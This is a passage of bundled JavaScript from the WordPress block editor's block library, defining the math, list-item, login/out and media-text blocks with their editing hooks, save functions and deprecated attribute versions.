      typography: {
        fontSize: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      }
    },
    attributes: {
      latex: {
        type: "string",
        role: "content"
      },
      mathML: {
        type: "string",
        source: "html",
        selector: "math"
      }
    }
  };

  // packages/block-library/build-module/math/save.mjs
  var import_block_editor122 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime290 = __toESM(require_jsx_runtime(), 1);
  function save28({ attributes: attributes2 }) {
    const { latex, mathML } = attributes2;
    if (!latex) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime290.jsx)("div", { ...import_block_editor122.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime290.jsx)(
      "math",
      {
        display: "block",
        dangerouslySetInnerHTML: { __html: mathML }
      }
    ) });
  }

  // packages/block-library/build-module/math/deprecated.mjs
  var import_block_editor123 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime291 = __toESM(require_jsx_runtime(), 1);
  var v123 = {
    attributes: {
      latex: {
        type: "string",
        role: "content"
      },
      mathML: {
        type: "string",
        source: "html",
        selector: "math"
      }
    },
    save({ attributes: attributes2 }) {
      const { latex, mathML } = attributes2;
      if (!latex) {
        return null;
      }
      return /* @__PURE__ */ (0, import_jsx_runtime291.jsx)(
        "math",
        {
          ...import_block_editor123.useBlockProps.save(),
          display: "block",
          dangerouslySetInnerHTML: { __html: mathML }
        }
      );
    }
  };
  var deprecated_default26 = [v123];

  // packages/block-library/build-module/math/index.mjs
  var { name: name48 } = block_default48;
  var settings48 = {
    icon: math_default,
    example: {
      attributes: {
        latex: "x = \\frac{-b \\pm \\sqrt{b^2-4ac}}{2a}",
        mathML: '<semantics><mrow><mi>x</mi><mo>=</mo><mfrac><mrow><mo lspace="0em" rspace="0em">\u2212</mo><mi>b</mi><mo>\xB1</mo><msqrt><mrow><msup><mi>b</mi><mn>2</mn></msup><mo>\u2212</mo><mn>4</mn><mi>a</mi><mi>c</mi></mrow></msqrt></mrow><mrow><mn>2</mn><mi>a</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">x = \\frac{-b \\pm \\sqrt{b^2-4ac}}{2a}</annotation></semantics>'
      },
      viewportWidth: 300
    },
    edit: MathEdit,
    save: save28,
    deprecated: deprecated_default26
  };
  var init48 = () => initBlock({ name: name48, metadata: block_default48, settings: settings48 });

  // packages/block-library/build-module/list-item/index.mjs
  var list_item_exports = {};
  __export(list_item_exports, {
    init: () => init49,
    metadata: () => block_default49,
    name: () => name49,
    settings: () => settings49
  });
  var import_i18n103 = __toESM(require_i18n(), 1);
  var import_block_editor131 = __toESM(require_block_editor(), 1);
  var import_blocks49 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/list-item/block.json
  var block_default49 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/list-item",
    title: "List Item",
    category: "text",
    parent: ["core/list"],
    allowedBlocks: ["core/list"],
    description: "An individual item within a list.",
    textdomain: "default",
    attributes: {
      placeholder: {
        type: "string"
      },
      content: {
        type: "rich-text",
        source: "rich-text",
        selector: "li",
        role: "content"
      }
    },
    supports: {
      anchor: true,
      className: false,
      splitting: true,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      color: {
        gradients: true,
        link: true,
        background: true,
        __experimentalDefaultControls: {
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      root: ".wp-block-list > li",
      border: ".wp-block-list:not(.wp-block-list .wp-block-list) > li"
    }
  };

  // packages/block-library/build-module/list-item/edit.mjs
  var import_block_editor129 = __toESM(require_block_editor(), 1);
  var import_i18n102 = __toESM(require_i18n(), 1);
  var import_components63 = __toESM(require_components(), 1);
  var import_compose29 = __toESM(require_compose(), 1);
  var import_data57 = __toESM(require_data(), 1);
  var import_keycodes4 = __toESM(require_keycodes(), 1);

  // packages/block-library/build-module/list-item/hooks/use-outdent-list-item.mjs
  var import_element51 = __toESM(require_element(), 1);
  var import_data52 = __toESM(require_data(), 1);
  var import_block_editor124 = __toESM(require_block_editor(), 1);
  var import_blocks44 = __toESM(require_blocks(), 1);
  function useOutdentListItem() {
    const registry = (0, import_data52.useRegistry)();
    const {
      moveBlocksToPosition,
      removeBlock,
      insertBlock,
      updateBlockListSettings
    } = (0, import_data52.useDispatch)(import_block_editor124.store);
    const {
      getBlockRootClientId,
      getBlockName,
      getBlockOrder,
      getBlockIndex,
      getSelectedBlockClientIds,
      getBlock,
      getBlockListSettings
    } = (0, import_data52.useSelect)(import_block_editor124.store);
    function getParentListItemId(id) {
      const listId = getBlockRootClientId(id);
      const parentListItemId = getBlockRootClientId(listId);
      if (!parentListItemId) {
        return;
      }
      if (getBlockName(parentListItemId) !== "core/list-item") {
        return;
      }
      return parentListItemId;
    }
    return (0, import_element51.useCallback)((clientIds = getSelectedBlockClientIds()) => {
      if (!Array.isArray(clientIds)) {
        clientIds = [clientIds];
      }
      if (!clientIds.length) {
        return;
      }
      const firstClientId = clientIds[0];
      if (getBlockName(firstClientId) !== "core/list-item") {
        return;
      }
      const parentListItemId = getParentListItemId(firstClientId);
      if (!parentListItemId) {
        return;
      }
      const parentListId = getBlockRootClientId(firstClientId);
      const lastClientId = clientIds[clientIds.length - 1];
      const order = getBlockOrder(parentListId);
      const followingListItems = order.slice(
        getBlockIndex(lastClientId) + 1
      );
      registry.batch(() => {
        if (followingListItems.length) {
          let nestedListId = getBlockOrder(firstClientId)[0];
          if (!nestedListId) {
            const nestedListBlock = (0, import_blocks44.cloneBlock)(
              getBlock(parentListId),
              {},
              []
            );
            nestedListId = nestedListBlock.clientId;
            insertBlock(nestedListBlock, 0, firstClientId, false);
            updateBlockListSettings(
              nestedListId,
              getBlockListSettings(parentListId)
            );
          }
          moveBlocksToPosition(
            followingListItems,
            parentListId,
            nestedListId
          );
        }
        moveBlocksToPosition(
          clientIds,
          parentListId,
          getBlockRootClientId(parentListItemId),
          getBlockIndex(parentListItemId) + 1
        );
        if (!getBlockOrder(parentListId).length) {
          const shouldSelectParent = false;
          removeBlock(parentListId, shouldSelectParent);
        }
      });
      return true;
    }, []);
  }

  // packages/block-library/build-module/list-item/hooks/use-indent-list-item.mjs
  var import_element52 = __toESM(require_element(), 1);
  var import_data53 = __toESM(require_data(), 1);
  var import_block_editor125 = __toESM(require_block_editor(), 1);
  var import_blocks45 = __toESM(require_blocks(), 1);
  function useIndentListItem(clientId) {
    const { replaceBlocks, selectionChange, multiSelect } = (0, import_data53.useDispatch)(import_block_editor125.store);
    const {
      getBlock,
      getPreviousBlockClientId,
      getSelectionStart,
      getSelectionEnd,
      hasMultiSelection,
      getMultiSelectedBlockClientIds
    } = (0, import_data53.useSelect)(import_block_editor125.store);
    return (0, import_element52.useCallback)(() => {
      const _hasMultiSelection = hasMultiSelection();
      const clientIds = _hasMultiSelection ? getMultiSelectedBlockClientIds() : [clientId];
      const clonedBlocks = clientIds.map(
        (_clientId) => (0, import_blocks45.cloneBlock)(getBlock(_clientId))
      );
      const previousSiblingId = getPreviousBlockClientId(clientId);
      const newListItem = (0, import_blocks45.cloneBlock)(getBlock(previousSiblingId));
      if (!newListItem.innerBlocks?.length) {
        newListItem.innerBlocks = [(0, import_blocks45.createBlock)("core/list")];
      }
      newListItem.innerBlocks[newListItem.innerBlocks.length - 1].innerBlocks.push(...clonedBlocks);
      const selectionStart = getSelectionStart();
      const selectionEnd = getSelectionEnd();
      replaceBlocks([previousSiblingId, ...clientIds], [newListItem]);
      if (!_hasMultiSelection) {
        selectionChange(
          clonedBlocks[0].clientId,
          selectionEnd.attributeKey,
          selectionEnd.clientId === selectionStart.clientId ? selectionStart.offset : selectionEnd.offset,
          selectionEnd.offset
        );
      } else {
        multiSelect(
          clonedBlocks[0].clientId,
          clonedBlocks[clonedBlocks.length - 1].clientId
        );
      }
      return true;
    }, [clientId]);
  }

  // packages/block-library/build-module/list-item/hooks/use-enter.mjs
  var import_blocks46 = __toESM(require_blocks(), 1);
  var import_element53 = __toESM(require_element(), 1);
  var import_compose27 = __toESM(require_compose(), 1);
  var import_keycodes2 = __toESM(require_keycodes(), 1);
  var import_data54 = __toESM(require_data(), 1);
  var import_block_editor126 = __toESM(require_block_editor(), 1);
  function useEnter2(props) {
    const { replaceBlocks, selectionChange } = (0, import_data54.useDispatch)(import_block_editor126.store);
    const { getBlock, getBlockRootClientId, getBlockIndex, getBlockName } = (0, import_data54.useSelect)(import_block_editor126.store);
    const propsRef = (0, import_element53.useRef)(props);
    propsRef.current = props;
    const outdentListItem = useOutdentListItem();
    return (0, import_compose27.useRefEffect)((element) => {
      function onKeyDown(event) {
        if (event.defaultPrevented || event.keyCode !== import_keycodes2.ENTER) {
          return;
        }
        const { content, clientId } = propsRef.current;
        if (content.length) {
          return;
        }
        event.preventDefault();
        const canOutdent = getBlockName(
          getBlockRootClientId(
            getBlockRootClientId(propsRef.current.clientId)
          )
        ) === "core/list-item";
        if (canOutdent) {
          outdentListItem();
          return;
        }
        const topParentListBlock = getBlock(
          getBlockRootClientId(clientId)
        );
        const blockIndex = getBlockIndex(clientId);
        const head = (0, import_blocks46.cloneBlock)({
          ...topParentListBlock,
          innerBlocks: topParentListBlock.innerBlocks.slice(
            0,
            blockIndex
          )
        });
        const middle = (0, import_blocks46.createBlock)((0, import_blocks46.getDefaultBlockName)());
        const after = [
          ...topParentListBlock.innerBlocks[blockIndex].innerBlocks[0]?.innerBlocks || [],
          ...topParentListBlock.innerBlocks.slice(blockIndex + 1)
        ];
        const tail = after.length ? [
          (0, import_blocks46.cloneBlock)({
            ...topParentListBlock,
            innerBlocks: after
          })
        ] : [];
        replaceBlocks(
          topParentListBlock.clientId,
          [head, middle, ...tail],
          1
        );
        selectionChange(middle.clientId);
      }
      element.addEventListener("keydown", onKeyDown);
      return () => {
        element.removeEventListener("keydown", onKeyDown);
      };
    }, []);
  }

  // packages/block-library/build-module/list-item/hooks/use-space.mjs
  var import_compose28 = __toESM(require_compose(), 1);
  var import_keycodes3 = __toESM(require_keycodes(), 1);
  var import_block_editor127 = __toESM(require_block_editor(), 1);
  var import_data55 = __toESM(require_data(), 1);
  function useSpace(clientId) {
    const { getSelectionStart, getSelectionEnd, getBlockIndex } = (0, import_data55.useSelect)(import_block_editor127.store);
    const indentListItem = useIndentListItem(clientId);
    const outdentListItem = useOutdentListItem();
    return (0, import_compose28.useRefEffect)(
      (element) => {
        function onKeyDown(event) {
          const { keyCode, shiftKey, altKey, metaKey, ctrlKey } = event;
          if (event.defaultPrevented || keyCode !== import_keycodes3.SPACE && keyCode !== import_keycodes3.TAB || // Only override when no modifiers are pressed.
          altKey || metaKey || ctrlKey) {
            return;
          }
          const selectionStart = getSelectionStart();
          const selectionEnd = getSelectionEnd();
          if (selectionStart.offset === 0 && selectionEnd.offset === 0) {
            if (shiftKey) {
              if (keyCode === import_keycodes3.TAB) {
                if (outdentListItem()) {
                  event.preventDefault();
                }
              }
            } else if (getBlockIndex(clientId) !== 0) {
              if (indentListItem()) {
                event.preventDefault();
              }
            }
          }
        }
        element.addEventListener("keydown", onKeyDown);
        return () => {
          element.removeEventListener("keydown", onKeyDown);
        };
      },
      [clientId, indentListItem]
    );
  }

  // packages/block-library/build-module/list-item/hooks/use-merge.mjs
  var import_data56 = __toESM(require_data(), 1);
  var import_block_editor128 = __toESM(require_block_editor(), 1);
  var import_blocks47 = __toESM(require_blocks(), 1);
  function useMerge(clientId, onMerge) {
    const registry = (0, import_data56.useRegistry)();
    const {
      getPreviousBlockClientId,
      getNextBlockClientId,
      getBlockOrder,
      getBlockRootClientId,
      getBlockName,
      getBlock
    } = (0, import_data56.useSelect)(import_block_editor128.store);
    const { mergeBlocks, moveBlocksToPosition, removeBlock } = (0, import_data56.useDispatch)(import_block_editor128.store);
    const outdentListItem = useOutdentListItem();
    function getTrailingId(id) {
      const order = getBlockOrder(id);
      if (!order.length) {
        return id;
      }
      return getTrailingId(order[order.length - 1]);
    }
    function getParentListItemId(id) {
      const listId = getBlockRootClientId(id);
      const parentListItemId = getBlockRootClientId(listId);
      if (!parentListItemId) {
        return;
      }
      if (getBlockName(parentListItemId) !== "core/list-item") {
        return;
      }
      return parentListItemId;
    }
    function _getNextId(id) {
      const next = getNextBlockClientId(id);
      if (next) {
        return next;
      }
      const parentListItemId = getParentListItemId(id);
      if (!parentListItemId) {
        return;
      }
      return _getNextId(parentListItemId);
    }
    function getNextId(id) {
      const order = getBlockOrder(id);
      if (!order.length) {
        return _getNextId(id);
      }
      return getBlockOrder(order[0])[0];
    }
    return (forward) => {
      function mergeWithNested(clientIdA, clientIdB) {
        registry.batch(() => {
          const [nestedListClientId] = getBlockOrder(clientIdB);
          if (nestedListClientId) {
            if (getPreviousBlockClientId(clientIdB) === clientIdA && !getBlockOrder(clientIdA).length) {
              moveBlocksToPosition(
                [nestedListClientId],
                clientIdB,
                clientIdA
              );
            } else {
              moveBlocksToPosition(
                getBlockOrder(nestedListClientId),
                nestedListClientId,
                getBlockRootClientId(clientIdA)
              );
            }
          }
          mergeBlocks(clientIdA, clientIdB);
        });
      }
      if (forward) {
        const nextBlockClientId = getNextId(clientId);
        if (!nextBlockClientId) {
          onMerge(forward);
          return;
        }
        if (getParentListItemId(nextBlockClientId)) {
          outdentListItem(nextBlockClientId);
        } else {
          mergeWithNested(clientId, nextBlockClientId);
        }
      } else {
        if (getParentListItemId(clientId)) {
          outdentListItem(clientId);
          return;
        }
        const previousBlockClientId = getPreviousBlockClientId(clientId);
        if (previousBlockClientId) {
          const trailingId = getTrailingId(previousBlockClientId);
          mergeWithNested(trailingId, clientId);
          return;
        }
        const blockOrder = getBlockOrder(clientId);
        if ((0, import_blocks47.isUnmodifiedBlock)(getBlock(clientId), "content") && blockOrder.length > 0) {
          registry.batch(() => {
            outdentListItem(getBlockOrder(blockOrder[0]));
            removeBlock(clientId, true);
          });
        } else {
          onMerge(forward);
        }
      }
    };
  }

  // packages/block-library/build-module/list-item/edit.mjs
  var import_jsx_runtime292 = __toESM(require_jsx_runtime(), 1);
  function IndentUI2({ clientId }) {
    const indentListItem = useIndentListItem(clientId);
    const outdentListItem = useOutdentListItem();
    const { canIndent, canOutdent } = (0, import_data57.useSelect)(
      (select9) => {
        const { getBlockIndex, getBlockRootClientId, getBlockName } = select9(import_block_editor129.store);
        return {
          canIndent: getBlockIndex(clientId) > 0,
          canOutdent: getBlockName(
            getBlockRootClientId(getBlockRootClientId(clientId))
          ) === "core/list-item"
        };
      },
      [clientId]
    );
    return /* @__PURE__ */ (0, import_jsx_runtime292.jsxs)(import_jsx_runtime292.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(
        import_components63.ToolbarButton,
        {
          icon: (0, import_i18n102.isRTL)() ? format_outdent_rtl_default : format_outdent_default,
          title: (0, import_i18n102.__)("Outdent"),
          shortcut: import_keycodes4.displayShortcut.shift("Tab"),
          description: (0, import_i18n102.__)("Outdent list item"),
          disabled: !canOutdent,
          onClick: () => outdentListItem()
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(
        import_components63.ToolbarButton,
        {
          icon: (0, import_i18n102.isRTL)() ? format_indent_rtl_default : format_indent_default,
          title: (0, import_i18n102.__)("Indent"),
          shortcut: "Tab",
          description: (0, import_i18n102.__)("Indent list item"),
          disabled: !canIndent,
          onClick: () => indentListItem()
        }
      )
    ] });
  }
  function ListItemEdit({
    attributes: attributes2,
    setAttributes,
    clientId,
    mergeBlocks
  }) {
    const { placeholder: placeholder2, content } = attributes2;
    const blockProps = (0, import_block_editor129.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor129.useInnerBlocksProps)(blockProps, {
      renderAppender: false,
      __unstableDisableDropZone: true
    });
    const useEnterRef = useEnter2({ content, clientId });
    const useSpaceRef = useSpace(clientId);
    const onMerge = useMerge(clientId, mergeBlocks);
    return /* @__PURE__ */ (0, import_jsx_runtime292.jsxs)(import_jsx_runtime292.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime292.jsxs)("li", { ...innerBlocksProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(
          import_block_editor129.RichText,
          {
            ref: (0, import_compose29.useMergeRefs)([useEnterRef, useSpaceRef]),
            identifier: "content",
            tagName: "div",
            onChange: (nextContent) => setAttributes({ content: nextContent }),
            value: content,
            "aria-label": (0, import_i18n102.__)("List text"),
            placeholder: placeholder2 || (0, import_i18n102.__)("List"),
            onMerge
          }
        ),
        innerBlocksProps.children
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(import_block_editor129.BlockControls, { group: "block", children: /* @__PURE__ */ (0, import_jsx_runtime292.jsx)(IndentUI2, { clientId }) })
    ] });
  }

  // packages/block-library/build-module/list-item/save.mjs
  var import_block_editor130 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime293 = __toESM(require_jsx_runtime(), 1);
  function save29({ attributes: attributes2 }) {
    return /* @__PURE__ */ (0, import_jsx_runtime293.jsxs)("li", { ...import_block_editor130.useBlockProps.save(), children: [
      /* @__PURE__ */ (0, import_jsx_runtime293.jsx)(import_block_editor130.RichText.Content, { value: attributes2.content }),
      /* @__PURE__ */ (0, import_jsx_runtime293.jsx)(import_block_editor130.InnerBlocks.Content, {})
    ] });
  }

  // packages/block-library/build-module/list-item/transforms.mjs
  var import_blocks48 = __toESM(require_blocks(), 1);
  var transforms15 = {
    to: [
      {
        type: "block",
        blocks: ["core/paragraph"],
        transform: (attributes2, innerBlocks = []) => [
          (0, import_blocks48.createBlock)("core/paragraph", attributes2),
          ...innerBlocks.map((block) => (0, import_blocks48.cloneBlock)(block))
        ]
      }
    ]
  };
  var transforms_default16 = transforms15;

  // packages/block-library/build-module/list-item/index.mjs
  var { fieldsKey: fieldsKey9, formKey: formKey9 } = unlock(import_blocks49.privateApis);
  var { name: name49 } = block_default49;
  var settings49 = {
    icon: list_item_default,
    edit: ListItemEdit,
    save: save29,
    merge(attributes2, attributesToMerge) {
      return {
        ...attributes2,
        content: attributes2.content + attributesToMerge.content
      };
    },
    transforms: transforms_default16,
    [unlock(import_block_editor131.privateApis).requiresWrapperOnCopy]: true,
    __experimentalLabel(attributes2, { context }) {
      const { content } = attributes2;
      const customName = attributes2?.metadata?.name;
      const hasContent = content?.trim().length > 0;
      if (context === "list-view" && (customName || hasContent)) {
        return customName || content;
      }
      if (context === "breadcrumb" && customName) {
        return customName;
      }
    }
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings49[fieldsKey9] = [
      {
        id: "content",
        label: (0, import_i18n103.__)("Content"),
        type: "text",
        Edit: "rich-text"
        // TODO: replace with custom component
      }
    ];
    settings49[formKey9] = {
      fields: ["content"]
    };
  }
  var init49 = () => initBlock({ name: name49, metadata: block_default49, settings: settings49 });

  // packages/block-library/build-module/loginout/index.mjs
  var loginout_exports = {};
  __export(loginout_exports, {
    init: () => init50,
    metadata: () => block_default50,
    name: () => name50,
    settings: () => settings50
  });

  // packages/block-library/build-module/loginout/edit.mjs
  var import_block_editor132 = __toESM(require_block_editor(), 1);
  var import_components64 = __toESM(require_components(), 1);
  var import_i18n104 = __toESM(require_i18n(), 1);
  var import_jsx_runtime294 = __toESM(require_jsx_runtime(), 1);
  function LoginOutEdit({ attributes: attributes2, setAttributes }) {
    const { displayLoginAsForm, redirectToCurrent } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime294.jsxs)(import_jsx_runtime294.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(import_block_editor132.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime294.jsxs)(
        import_components64.__experimentalToolsPanel,
        {
          label: (0, import_i18n104.__)("Settings"),
          resetAll: () => {
            setAttributes({
              displayLoginAsForm: false,
              redirectToCurrent: true
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
              import_components64.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n104.__)("Display login as form"),
                isShownByDefault: true,
                hasValue: () => displayLoginAsForm,
                onDeselect: () => setAttributes({ displayLoginAsForm: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
                  import_components64.ToggleControl,
                  {
                    label: (0, import_i18n104.__)("Display login as form"),
                    checked: displayLoginAsForm,
                    onChange: () => setAttributes({
                      displayLoginAsForm: !displayLoginAsForm
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
              import_components64.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n104.__)("Redirect to current URL"),
                isShownByDefault: true,
                hasValue: () => !redirectToCurrent,
                onDeselect: () => setAttributes({ redirectToCurrent: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
                  import_components64.ToggleControl,
                  {
                    label: (0, import_i18n104.__)("Redirect to current URL"),
                    checked: redirectToCurrent,
                    onChange: () => setAttributes({
                      redirectToCurrent: !redirectToCurrent
                    })
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime294.jsx)(
        "div",
        {
          ...(0, import_block_editor132.useBlockProps)({
            className: "logged-in"
          }),
          children: /* @__PURE__ */ (0, import_jsx_runtime294.jsx)("a", { href: "#login-pseudo-link", children: (0, import_i18n104.__)("Log out") })
        }
      )
    ] });
  }

  // packages/block-library/build-module/loginout/block.json
  var block_default50 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/loginout",
    title: "Login/out",
    category: "theme",
    description: "Show login & logout links.",
    keywords: ["login", "logout", "form"],
    textdomain: "default",
    attributes: {
      displayLoginAsForm: {
        type: "boolean",
        default: false
      },
      redirectToCurrent: {
        type: "boolean",
        default: true
      }
    },
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      className: true,
      color: {
        background: true,
        text: false,
        gradients: true,
        link: true
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: "wp-block-loginout"
  };

  // packages/block-library/build-module/loginout/index.mjs
  var { name: name50 } = block_default50;
  var settings50 = {
    icon: login_default,
    edit: LoginOutEdit
  };
  var init50 = () => initBlock({ name: name50, metadata: block_default50, settings: settings50 });

  // packages/block-library/build-module/media-text/index.mjs
  var media_text_exports = {};
  __export(media_text_exports, {
    init: () => init51,
    metadata: () => block_default51,
    name: () => name51,
    settings: () => settings51
  });
  var import_i18n108 = __toESM(require_i18n(), 1);
  var import_blocks51 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/media-text/deprecated.mjs
  var import_block_editor133 = __toESM(require_block_editor(), 1);
  var import_compose30 = __toESM(require_compose(), 1);

  // packages/block-library/build-module/media-text/constants.mjs
  var import_i18n105 = __toESM(require_i18n(), 1);
  var DEFAULT_MEDIA_SIZE_SLUG4 = "full";
  var WIDTH_CONSTRAINT_PERCENTAGE = 15;
  var LINK_DESTINATION_NONE3 = "none";
  var LINK_DESTINATION_MEDIA3 = "media";
  var LINK_DESTINATION_ATTACHMENT3 = "attachment";
  var TEMPLATE10 = [
    [
      "core/paragraph",
      {
        placeholder: (0, import_i18n105._x)("Content\u2026", "content placeholder")
      }
    ]
  ];

  // packages/block-library/build-module/media-text/deprecated.mjs
  var import_jsx_runtime295 = __toESM(require_jsx_runtime(), 1);
  var v1ToV5ImageFillStyles = (url, focalPoint) => {
    return url ? {
      backgroundImage: `url(${url})`,
      backgroundPosition: focalPoint ? `${focalPoint.x * 100}% ${focalPoint.y * 100}%` : `50% 50%`
    } : {};
  };
  var v6ToV7ImageFillStyles = (url, focalPoint) => {
    return url ? {
      backgroundImage: `url(${url})`,
      backgroundPosition: focalPoint ? `${Math.round(focalPoint.x * 100)}% ${Math.round(
        focalPoint.y * 100
      )}%` : `50% 50%`
    } : {};
  };
  var DEFAULT_MEDIA_WIDTH = 50;
  var noop = () => {
  };
  var migrateCustomColors3 = (attributes2) => {
    if (!attributes2.customBackgroundColor) {
      return attributes2;
    }
    const style2 = {
      color: {
        background: attributes2.customBackgroundColor
      }
    };
    const { customBackgroundColor, ...restAttributes } = attributes2;
    return {
      ...restAttributes,
      style: style2
    };
  };
  var migrateDefaultAlign = (attributes2) => {
    if (attributes2.align) {
      return attributes2;
    }
    return {
      ...attributes2,
      align: "wide"
    };
  };
  var v0Attributes = {
    align: {
      type: "string",
      default: "wide"
    },
    mediaAlt: {
      type: "string",
      source: "attribute",
      selector: "figure img",
      attribute: "alt",
      default: ""
    },
    mediaPosition: {
      type: "string",
      default: "left"
    },
    mediaId: {
      type: "number"
    },
    mediaType: {
      type: "string"
    },
    mediaWidth: {
      type: "number",
      default: 50
    },
    isStackedOnMobile: {
      type: "boolean",
      default: false
    }
  };
  var v4ToV5BlockAttributes = {
    ...v0Attributes,
    isStackedOnMobile: {
      type: "boolean",
      default: true
    },
    mediaUrl: {
      type: "string",
      source: "attribute",
      selector: "figure video,figure img",
      attribute: "src"
    },
    mediaLink: {
      type: "string"
    },
    linkDestination: {
      type: "string"
    },
    linkTarget: {
      type: "string",
      source: "attribute",
      selector: "figure a",
      attribute: "target"
    },
    href: {
      type: "string",
      source: "attribute",
      selector: "figure a",
      attribute: "href"
    },
    rel: {
      type: "string",
      source: "attribute",
      selector: "figure a",
      attribute: "rel"
    },
    linkClass: {
      type: "string",
      source: "attribute",
      selector: "figure a",
      attribute: "class"
    },
    mediaSizeSlug: {
      type: "string"
    },
    verticalAlignment: {
      type: "string"
    },
    imageFill: {
      type: "boolean"
    },
    focalPoint: {
      type: "object"
    }
  };
  var v6Attributes = {
    ...v4ToV5BlockAttributes,
    mediaAlt: {
      type: "string",
      source: "attribute",
      selector: "figure img",
      attribute: "alt",
      default: "",
      role: "content"
    },
    mediaId: {
      type: "number",
      role: "content"
    },
    mediaUrl: {
      type: "string",
      source: "attribute",
      selector: "figure video,figure img",
      attribute: "src",
      role: "content"
    },
    href: {
      type: "string",
      source: "attribute",
      selector: "figure a",
      attribute: "href",
      role: "content"
    },
    mediaType: {
      type: "string",
      role: "content"
    }
  };
  var v7Attributes = {
    ...v6Attributes,
    align: {
      type: "string",
      // v7 changed the default for the `align` attribute.
      default: "none"
    },
    // New attribute.
    useFeaturedImage: {
      type: "boolean",
      default: false
    }
  };
  var v4ToV5Supports = {
    anchor: true,
    align: ["wide", "full"],
    html: false,
    color: {
      gradients: true,
      link: true
    }
  };
  var v6Supports = {
    ...v4ToV5Supports,
    color: {
      gradients: true,
      link: true,
      __experimentalDefaultControls: {
        background: true,
        text: true
      }
    },
    spacing: {
      margin: true,
      padding: true
    },
    typography: {
      fontSize: true,
      lineHeight: true,
      __experimentalFontFamily: true,
      __experimentalFontWeight: true,
      __experimentalFontStyle: true,
      __experimentalTextTransform: true,
      __experimentalTextDecoration: true,
      __experimentalLetterSpacing: true,
      __experimentalDefaultControls: {
        fontSize: true
      }
    }
  };
  var v7Supports = {
    ...v6Supports,
    __experimentalBorder: {
      color: true,
      radius: true,
      style: true,
      width: true,
      __experimentalDefaultControls: {
        color: true,
        radius: true,
        style: true,
        width: true
      }
    },
    color: {
      gradients: true,
      heading: true,
      link: true,
      __experimentalDefaultControls: {
        background: true,
        text: true
      }
    },
    interactivity: {
      clientNavigation: true
    }
  };
  var v74 = {
    attributes: v7Attributes,
    supports: v7Supports,
    usesContext: ["postId", "postType"],
    save({ attributes: attributes2 }) {
      const {
        isStackedOnMobile,
        mediaAlt,
        mediaPosition: mediaPosition3,
        mediaType,
        mediaUrl,
        mediaWidth,
        mediaId,
        verticalAlignment,
        imageFill,
        focalPoint,
        linkClass,
        href,
        linkTarget,
        rel
      } = attributes2;
      const mediaSizeSlug = attributes2.mediaSizeSlug || DEFAULT_MEDIA_SIZE_SLUG4;
      const newRel = !rel ? void 0 : rel;
      const imageClasses = clsx_default({
        [`wp-image-${mediaId}`]: mediaId && mediaType === "image",
        [`size-${mediaSizeSlug}`]: mediaId && mediaType === "image"
      });
      let image = mediaUrl ? /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
        "img",
        {
          src: mediaUrl,
          alt: mediaAlt,
          className: imageClasses || null
        }
      ) : null;
      if (href) {
        image = /* @__PURE__ */ (0, import_jsx_runtime295.jsx)(
          "a",
          {
            className: linkClass,
            href,
            target: linkTarget,
            rel: newRel,
            children: image
          }
        );
      }
      const mediaTypeRenders = {
        image: () => image,
        video: () => /* @__PURE__ */ (0, import_jsx_runtime295.jsx)("video", { controls: true, src: mediaUrl })
      };
      const className = clsx_default({
        "has-media-on-the-right": "right" === mediaPosition3,
        "is-stacked-on-mobile": isStackedOnMobile,
        [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
        "is-image-fill": imageFill
      });
      const backgroundStyles = imageFill ? v6ToV7ImageFillStyles(mediaUrl, focalPoint) : {};
      let gridTemplateColumns;
